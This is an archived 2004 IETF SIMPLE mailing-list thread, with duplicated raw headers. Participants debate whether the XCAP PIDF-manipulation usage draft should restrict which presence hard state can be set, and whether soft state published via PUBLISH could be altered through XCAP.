MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A7054D5BA4@esebe018.ntc.nokia.com>
Thread-Topic: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
Thread-Index: AcQMHg88Ae4qa22pSMev/MlGi3+bCAAAoLRg
To: <george.foti@ericsson.com>, <cboulton@ubiquity.com>,
        <jdrosen@dynamicsoft.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 17 Mar 2004 13:12:30.0701 (UTC) FILETIME=[80C429D0:01C40C21]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 17 Mar 2004 15:12:29 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Hi George,

See inline.

> -----Original Message-----
> From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
> Sent: 17 March, 2004 14:35
> To: 'Chris Boulton'; Jonathan Rosenberg
> Cc: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
> Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft
> (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
>=20
>=20
>=20
> Comments inline Chris.
> Rgds/gf
> > -----Original Message-----
> > From: Chris Boulton [mailto:cboulton@ubiquity.com]
> > Sent: Wednesday, March 17, 2004 3:44 AM
> > To: George Foti (QA/EMC); Jonathan Rosenberg
> > Cc: Markus.Isomaki@nokia.com; simple@ietf.org
> > Subject: RE: [Simple] RE: Comments on PIDF-Manipulation=20
> Usage-00draft
> > (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
> >=20
> >=20
> > Hi George,
> > 	I'm getting a little confused by this thread.  I don't see any
> > benefit of restricting what 'Hard State' data can be set. =20
> The use of
> > XCAP and the use of PUBLISH have clearly defined roles.  If=20
> a presence
> > server requires 'Hard state', it goes away and grabs the latest copy
> > from the XCAP repository.  I can see your point that rogue=20
> > clients might
> > use XCAP in a negative manner (e.g. for changing soft=20
> state), but this
> > can be true of many implementations that bend rules.  As=20
> long as it is
> > strongly defined that XCAP is used for Hard state and=20
> PUBLISH is used
> > for soft state, I see no real issue.
>=20
> Yes, thats my concern.
> On the other hand there are *no rules* to bend in this case.
> It is currently wide open to manipulate everything.
> The language in the draft is very weak in that regard.

OK, please send your proposal text ASAP. My current idea is not to limit =
what information can be set with XCAP.

> Changing the schema is one way to put in rules.

Please make your proposal.

> But I am opened to the alternative of strengthening the=20
> language in an updated version of the draft and to clearly=20
> disallow the usage of XCAP for changing soft states.
>=20

It is _impossible_ to set soft states with XCAP, since there is no =
expiration mechanism. Can you explain to me what YOU mean by soft state =
vs. hard state? How would you set soft state with XCAP?

> Another point in the draft that needs to be adequately=20
> addressed relates to the how the composer resolve conflicts=20
> between different PUAs.

This is beyond the scope of this draft.

> Currently it is left to magic.
>=20
> Jonathan alluded to the authorization policies in that=20
> regard, which I did not read yet, but is definitely the right=20
> place for this thing. So may be draft can refer to that and=20
> address the issue a bit more as opposed to saying, "the=20
> composer will have to figure out how to do that".=20

Why do you think that we need to say anything more in this draft than in =
the PUBLISH draft?

> >=20
> > Chris.=20
> >=20
> >=20
> > >-----Original Message-----
> > >From: George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
> > >Sent: 16 March 2004 18:07
> > >To: 'Jonathan Rosenberg'
> > >Cc: 'Markus.Isomaki@nokia.com'; simple@ietf.org
> > >Subject: RE: [Simple] RE: Comments on PIDF-Manipulation=20
> Usage-00draft
> > (wa s
> > >RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
> > >
> > >> Are you suggesting abandoning PUBLISH? Or just changing=20
> > the schema to
> > >> restrict what you can set with xcap?
> > >
> > >I would like to change the schema to restrict what you can set with
> > XCAP.
> > >That way we minimize the potential misue of XCAP, both by=20
> > implementors
> > >and/or end users
> > >PUBLISH is OK. I see no problems with it.
> > >The architecture is Ok as well. We need a way to set hard states.
> > >
> > >Thnx/gf
> > >
> > >>
> > >> _______________________________________________
> > >> Simple mailing list
> > >> Simple@ietf.org
> > >> https://www1.ietf.org/mailman/listinfo/simple
> > >>
> > >
> > >
> > >This communication is confidential and intended solely for the
> > >addressee(s). Any unauthorized review, use, disclosure or=20
> > distribution
> > is
> > >prohibited. If you believe this message has been sent to you=20
> > in error,
> > >please notify the sender by replying to this transmission=20
> and delete
> > the
> > >message without disclosing it. Thank you.
> > >
> > >E-mail including attachments is susceptible to data corruption,
> > >interruption, unauthorized amendment, tampering and viruses, and we
> > only
> > >send and receive e-mails on the basis that we are not=20
> liable for any
> > such
> > >corruption, interception, amendment, tampering or viruses or any
> > >consequences thereof.
> > >
> > >_______________________________________________
> > >Simple mailing list
> > >Simple@ietf.org
> > >https://www1.ietf.org/mailman/listinfo/simple
> >=20
> >=20
> > This message has been scanned for viruses by MailControl -=20
> www.mailcontrol.com
> =20
>=20
> This communication is confidential and intended solely for=20
> the addressee(s). Any unauthorized review, use, disclosure or=20
> distribution is prohibited. If you believe this message has=20
> been sent to you in error, please notify the sender by=20
> replying to this transmission and delete the message without=20
> disclosing it. Thank you.
>=20
> E-mail including attachments is susceptible to data=20
> corruption, interruption, unauthorized amendment, tampering=20
> and viruses, and we only send and receive e-mails on the=20
> basis that we are not liable for any such corruption,=20
> interception, amendment, tampering or viruses or any=20
> consequences thereof.
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 17 08:22:37 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA05525
	for <simple-archive@odin.ietf.org>; Wed, 17 Mar 2004 08:22:37 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3ayz-0000XF-CI
	for simple-archive@odin.ietf.org; Wed, 17 Mar 2004 08:22:08 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2HDL7eP002023
	for simple-archive@odin.ietf.org; Wed, 17 Mar 2004 08:21:07 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3ayo-0000Vk-7i
	for simple-web-archive@optimus.ietf.org; Wed, 17 Mar 2004 08:21:06 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA05430
	for <simple-web-archive@ietf.org>; Wed, 17 Mar 2004 08:20:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3ayY-0003MS-00
	for simple-web-archive@ietf.org; Wed, 17 Mar 2004 08:20:50 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3axg-0003Dw-00
	for simple-web-archive@ietf.org; Wed, 17 Mar 2004 08:19:57 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3awr-000341-00; Wed, 17 Mar 2004 08:19:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3awm-0000MX-Kp; Wed, 17 Mar 2004 08:19:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3awJ-0000M9-EI
	for simple@optimus.ietf.org; Wed, 17 Mar 2004 08:18:31 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA05158
	for <simple@ietf.org>; Wed, 17 Mar 2004 08:18:29 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3awI-0002zc-00
	for simple@ietf.org; Wed, 17 Mar 2004 08:18:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3avM-0002tM-00
	for simple@ietf.org; Wed, 17 Mar 2004 08:17:33 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3av1-0002nh-00
	for simple@ietf.org; Wed, 17 Mar 2004 08:17:11 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2HDGw425763;
	Wed, 17 Mar 2004 15:16:58 +0200 (EET)
X-Scanned: Wed, 17 Mar 2004 15:17:46 +0200 Nokia Message Protector V1.3.20 2004022613 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i2HDHk8F021263;
	Wed, 17 Mar 2004 15:17:46 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00JskNVp; Wed, 17 Mar 2004 15:13:28 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2HDCYs13542;
	Wed, 17 Mar 2004 15:12:34 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 17 Mar 2004 15:12:30 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A7054D5BA4@esebe018.ntc.nokia.com>
Thread-Topic: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
Thread-Index: AcQMHg88Ae4qa22pSMev/MlGi3+bCAAAoLRg
To: <george.foti@ericsson.com>, <cboulton@ubiquity.com>,
        <jdrosen@dynamicsoft.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 17 Mar 2004 13:12:30.0701 (UTC) FILETIME=[80C429D0:01C40C21]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 17 Mar 2004 15:12:29 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi George,

See inline.

> -----Original Message-----
> From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
> Sent: 17 March, 2004 14:35
> To: 'Chris Boulton'; Jonathan Rosenberg
> Cc: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
> Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft
> (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
>=20
>=20
>=20
> Comments inline Chris.
> Rgds/gf
> > -----Original Message-----
> > From: Chris Boulton [mailto:cboulton@ubiquity.com]
> > Sent: Wednesday, March 17, 2004 3:44 AM
> > To: George Foti (QA/EMC); Jonathan Rosenberg
> > Cc: Markus.Isomaki@nokia.com; simple@ietf.org
> > Subject: RE: [Simple] RE: Comments on PIDF-Manipulation=20
> Usage-00draft
> > (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
> >=20
> >=20
> > Hi George,
> > 	I'm getting a little confused by this thread.  I don't see any
> > benefit of restricting what 'Hard State' data can be set. =20
> The use of
> > XCAP and the use of PUBLISH have clearly defined roles.  If=20
> a presence
> > server requires 'Hard state', it goes away and grabs the latest copy
> > from the XCAP repository.  I can see your point that rogue=20
> > clients might
> > use XCAP in a negative manner (e.g. for changing soft=20
> state), but this
> > can be true of many implementations that bend rules.  As=20
> long as it is
> > strongly defined that XCAP is used for Hard state and=20
> PUBLISH is used
> > for soft state, I see no real issue.
>=20
> Yes, thats my concern.
> On the other hand there are *no rules* to bend in this case.
> It is currently wide open to manipulate everything.
> The language in the draft is very weak in that regard.

OK, please send your proposal text ASAP. My current idea is not to limit =
what information can be set with XCAP.

> Changing the schema is one way to put in rules.

Please make your proposal.

> But I am opened to the alternative of strengthening the=20
> language in an updated version of the draft and to clearly=20
> disallow the usage of XCAP for changing soft states.
>=20

It is _impossible_ to set soft states with XCAP, since there is no =
expiration mechanism. Can you explain to me what YOU mean by soft state =
vs. hard state? How would you set soft state with XCAP?

> Another point in the draft that needs to be adequately=20
> addressed relates to the how the composer resolve conflicts=20
> between different PUAs.

This is beyond the scope of this draft.

> Currently it is left to magic.
>=20
> Jonathan alluded to the authorization policies in that=20
> regard, which I did not read yet, but is definitely the right=20
> place for this thing. So may be draft can refer to that and=20
> address the issue a bit more as opposed to saying, "the=20
> composer will have to figure out how to do that".=20

Why do you think that we need to say anything more in this draft than in =
the PUBLISH draft?

> >=20
> > Chris.=20
> >=20
> >=20
> > >-----Original Message-----
> > >From: George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
> > >Sent: 16 March 2004 18:07
> > >To: 'Jonathan Rosenberg'
> > >Cc: 'Markus.Isomaki@nokia.com'; simple@ietf.org
> > >Subject: RE: [Simple] RE: Comments on PIDF-Manipulation=20
> Usage-00draft
> > (wa s
> > >RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
> > >
> > >> Are you suggesting abandoning PUBLISH? Or just changing=20
> > the schema to
> > >> restrict what you can set with xcap?
> > >
> > >I would like to change the schema to restrict what you can set with
> > XCAP.
> > >That way we minimize the potential misue of XCAP, both by=20
> > implementors
> > >and/or end users
> > >PUBLISH is OK. I see no problems with it.
> > >The architecture is Ok as well. We need a way to set hard states.
> > >
> > >Thnx/gf
> > >
> > >>
> > >> _______________________________________________
> > >> Simple mailing list
> > >> Simple@ietf.org
> > >> https://www1.ietf.org/mailman/listinfo/simple
> > >>
> > >
> > >
> > >This communication is confidential and intended solely for the
> > >addressee(s). Any unauthorized review, use, disclosure or=20
> > distribution
> > is
> > >prohibited. If you believe this message has been sent to you=20
> > in error,
> > >please notify the sender by replying to this transmission=20
> and delete
> > the
> > >message without disclosing it. Thank you.
> > >
> > >E-mail including attachments is susceptible to data corruption,
> > >interruption, unauthorized amendment, tampering and viruses, and we
> > only
> > >send and receive e-mails on the basis that we are not=20
> liable for any
> > such
> > >corruption, interception, amendment, tampering or viruses or any
> > >consequences thereof.
> > >
> > >_______________________________________________
> > >Simple mailing list
> > >Simple@ietf.org
> > >https://www1.ietf.org/mailman/listinfo/simple
> >=20
> >=20
> > This message has been scanned for viruses by MailControl -=20
> www.mailcontrol.com
> =20
>=20
> This communication is confidential and intended solely for=20
> the addressee(s). Any unauthorized review, use, disclosure or=20
> distribution is prohibited. If you believe this message has=20
> been sent to you in error, please notify the sender by=20
> replying to this transmission and delete the message without=20
> disclosing it. Thank you.
>=20
> E-mail including attachments is susceptible to data=20
> corruption, interruption, unauthorized amendment, tampering=20
> and viruses, and we only send and receive e-mails on the=20
> basis that we are not liable for any such corruption,=20
> interception, amendment, tampering or viruses or any=20
> consequences thereof.
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 17 12:58:00 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA26534
	for <simple-archive@ietf.org>; Wed, 17 Mar 2004 12:58:00 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3fIo-0006Nc-00
	for simple-archive@ietf.org; Wed, 17 Mar 2004 12:58:02 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3fHy-0006Bm-00
	for simple-archive@ietf.org; Wed, 17 Mar 2004 12:57:11 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3fGs-0005wP-00; Wed, 17 Mar 2004 12:56:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3fGr-0003XM-Eu; Wed, 17 Mar 2004 12:56:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3fGp-0003Ws-O8
	for simple@optimus.ietf.org; Wed, 17 Mar 2004 12:55:59 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA26241
	for <simple@ietf.org>; Wed, 17 Mar 2004 12:55:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3fGo-0005vT-00
	for simple@ietf.org; Wed, 17 Mar 2004 12:55:58 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3fFb-0005ib-00
	for simple@ietf.org; Wed, 17 Mar 2004 12:54:44 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3fEl-0005RV-00
	for simple@ietf.org; Wed, 17 Mar 2004 12:53:51 -0500
Received: from dynamicsoft.com ([63.113.46.105])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2HHrUNr020126;
	Wed, 17 Mar 2004 12:53:30 -0500 (EST)
Message-ID: <4058908E.5020907@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
CC: "ext George Foti (QA/EMC)" <george.foti@ericsson.com>, simple@ietf.org
Subject: Re: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa
  s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
References: <2DBF697D5B36014ABA46E66A96107DA02C9638@lmc37.lmc.ericsson.se> <40584DF6.9010608@nokia.com>
In-Reply-To: <40584DF6.9010608@nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 17 Mar 2004 12:53:18 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Niemi Aki (Nokia-M/Espoo) wrote:

> Inline.
> 
> ext George Foti (QA/EMC) wrote:
> 
>> Comments inline Chris. Rgds/gf
>>
>>> -----Original Message----- From: Chris Boulton
>>> [mailto:cboulton@ubiquity.com] Sent: Wednesday, March 17, 2004 3:44
>>> AM To: George Foti (QA/EMC); Jonathan Rosenberg Cc:
>>> Markus.Isomaki@nokia.com; simple@ietf.org Subject: RE: [Simple] RE:
>>> Comments on PIDF-Manipulation Usage-00draft (wa s RE: Comment s on
>>> draft-isomaki-simple-xcap-publish-usage-00)
>>>
>>>
>>> Hi George, I'm getting a little confused by this thread.  I don't
>>> see any benefit of restricting what 'Hard State' data can be set.
>>> The use of XCAP and the use of PUBLISH have clearly defined roles.
>>> If a presence server requires 'Hard state', it goes away and grabs
>>> the latest copy from the XCAP repository.  I can see your point
>>> that rogue clients might use XCAP in a negative manner (e.g. for
>>> changing soft state), but this can be true of many implementations
>>> that bend rules.  As long as it is strongly defined that XCAP is
>>> used for Hard state and PUBLISH is used for soft state, I see no
>>> real issue.
>>
>>
>>
>> Yes, thats my concern. On the other hand there are *no rules* to bend
>> in this case. It is currently wide open to manipulate everything. The
>> language in the draft is very weak in that regard. Changing the
>> schema is one way to put in rules. But I am opened to the alternative
>> of strengthening the language in an updated version of the draft and
>> to clearly disallow the usage of XCAP for changing soft states.
> 
> 
> You make it sound like it was currently allowed. Well, it isn't, and in 
> addition, it's not even possible. PUBLISH carries soft event state. The 
> only way to manipulate that state is to use PUBLISH, and have possession 
> of the corresponding publication etag.

I too am confused as to how it would even be possible to manipulate soft 
state. There is no way specified to even address -i.e., come up with an 
http URI - that identifies the published presence documents to 
manipulate them. I thought my prior note on the subject explained this 
more thoroughly.

-Jonathan R.
-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 17 12:58:32 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA26573
	for <simple-archive@odin.ietf.org>; Wed, 17 Mar 2004 12:58:32 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3fIs-0003ln-0H
	for simple-archive@odin.ietf.org; Wed, 17 Mar 2004 12:58:06 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2HHw5tC014489
	for simple-archive@odin.ietf.org; Wed, 17 Mar 2004 12:58:05 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3fIr-0003lS-JT
	for simple-web-archive@optimus.ietf.org; Wed, 17 Mar 2004 12:58:05 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA26554
	for <simple-web-archive@ietf.org>; Wed, 17 Mar 2004 12:58:01 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3fIp-0006Nh-00
	for simple-web-archive@ietf.org; Wed, 17 Mar 2004 12:58:03 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3fHz-0006Bu-00
	for simple-web-archive@ietf.org; Wed, 17 Mar 2004 12:57:12 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3fGs-0005wP-00; Wed, 17 Mar 2004 12:56:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3fGr-0003XM-Eu; Wed, 17 Mar 2004 12:56:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3fGp-0003Ws-O8
	for simple@optimus.ietf.org; Wed, 17 Mar 2004 12:55:59 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA26241
	for <simple@ietf.org>; Wed, 17 Mar 2004 12:55:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3fGo-0005vT-00
	for simple@ietf.org; Wed, 17 Mar 2004 12:55:58 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3fFb-0005ib-00
	for simple@ietf.org; Wed, 17 Mar 2004 12:54:44 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3fEl-0005RV-00
	for simple@ietf.org; Wed, 17 Mar 2004 12:53:51 -0500
Received: from dynamicsoft.com ([63.113.46.105])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2HHrUNr020126;
	Wed, 17 Mar 2004 12:53:30 -0500 (EST)
Message-ID: <4058908E.5020907@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
CC: "ext George Foti (QA/EMC)" <george.foti@ericsson.com>, simple@ietf.org
Subject: Re: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa
  s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
References: <2DBF697D5B36014ABA46E66A96107DA02C9638@lmc37.lmc.ericsson.se> <40584DF6.9010608@nokia.com>
In-Reply-To: <40584DF6.9010608@nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 17 Mar 2004 12:53:18 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Niemi Aki (Nokia-M/Espoo) wrote:

> Inline.
> 
> ext George Foti (QA/EMC) wrote:
> 
>> Comments inline Chris. Rgds/gf
>>
>>> -----Original Message----- From: Chris Boulton
>>> [mailto:cboulton@ubiquity.com] Sent: Wednesday, March 17, 2004 3:44
>>> AM To: George Foti (QA/EMC); Jonathan Rosenberg Cc:
>>> Markus.Isomaki@nokia.com; simple@ietf.org Subject: RE: [Simple] RE:
>>> Comments on PIDF-Manipulation Usage-00draft (wa s RE: Comment s on
>>> draft-isomaki-simple-xcap-publish-usage-00)
>>>
>>>
>>> Hi George, I'm getting a little confused by this thread.  I don't
>>> see any benefit of restricting what 'Hard State' data can be set.
>>> The use of XCAP and the use of PUBLISH have clearly defined roles.
>>> If a presence server requires 'Hard state', it goes away and grabs
>>> the latest copy from the XCAP repository.  I can see your point
>>> that rogue clients might use XCAP in a negative manner (e.g. for
>>> changing soft state), but this can be true of many implementations
>>> that bend rules.  As long as it is strongly defined that XCAP is
>>> used for Hard state and PUBLISH is used for soft state, I see no
>>> real issue.
>>
>>
>>
>> Yes, thats my concern. On the other hand there are *no rules* to bend
>> in this case. It is currently wide open to manipulate everything. The
